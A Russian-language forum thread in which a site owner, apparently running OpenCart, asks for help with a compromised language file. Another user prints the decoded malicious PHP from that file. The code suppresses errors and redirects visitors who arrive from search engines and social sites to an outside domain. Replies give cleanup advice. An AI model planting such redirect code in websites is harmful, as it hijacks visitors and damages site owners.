Странный код в языковом файле russian.php

[dgscom]

Помогите пожалуйста!!!! Нарушилась кодировка страницы, три чем если заходить www.имя.ru прохождение по ссылкам корректно. Ошибка сверху страницы ссылалась на файл русификации. Я заменил его из резервной копии. Не помогло. Пере сохранил его в другой кодировке было utf8 без бом стало utf8. Страница стала отображаться нормально, но в админку вначале пишит барабульки, а в самой админке все нормально. При заходе пишет такую ошибку: Notice: Undefined index: HTTP_REFERER in /home/dgscom13/public_html/2e-ruki/admin/language/russian/russian.php(1) : eval()'d code on line 5. В чем может быть проблема. Файл прикрепил.

russian.php

[afwollis]

замените файл на оригинал из архива движка, выставьте корректные права (644) и проверьте свой комп на вирусы.

если проблема повторится - обратитесь к хостеру, чтобы дал вам логи заходов по ftp и (по возможности) список файлов, которые были изменены.

[Baco]

Вот что закодировано в том файле...

error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ 
 header("Location: http://site.portrelay.com/");
 exit();
}
}
}

[dgscom]

Спасибо, попробую.

[dgscom]

замените файл на оригинал из архива движка, выставьте корректные права (644) и проверьте свой комп на вирусы.

если проблема повторится - обратитесь к хостеру, чтобы дал вам логи заходов по ftp и (по возможности) список файлов, которые были изменены.

Поясните, пожалуйста в каком файле. Извините если вопрос тупой. Сильно не пинайте.

[afwollis]

замените этот файл

/home/dgscom13/public_html/2e-ruki/admin/language/russian/russian.php

оригиналом из архива движка

[dgscom]

Мы разобрались в чем дело. В каждом файле php внесено кодирование, но если его удаляешь оно снова появляется. Ищем скрипт.

[dgscom]

Замена этого файла приводит полностью к блокировке админки.

[lunatik]

Сегодня мной обнаружена та же проблема на 2х сайтах. Подскажите разобрались со скриптом?

[ravilr]

Я всегда отвечаю на подобные вопросы..."Каково происхождение шаблона" ?? Может и нет никакого хакера.. Достаточно загрузить левый шаблон на хостинг, не обязательно опенкарт, и все.... работает на автомате по всей площадке.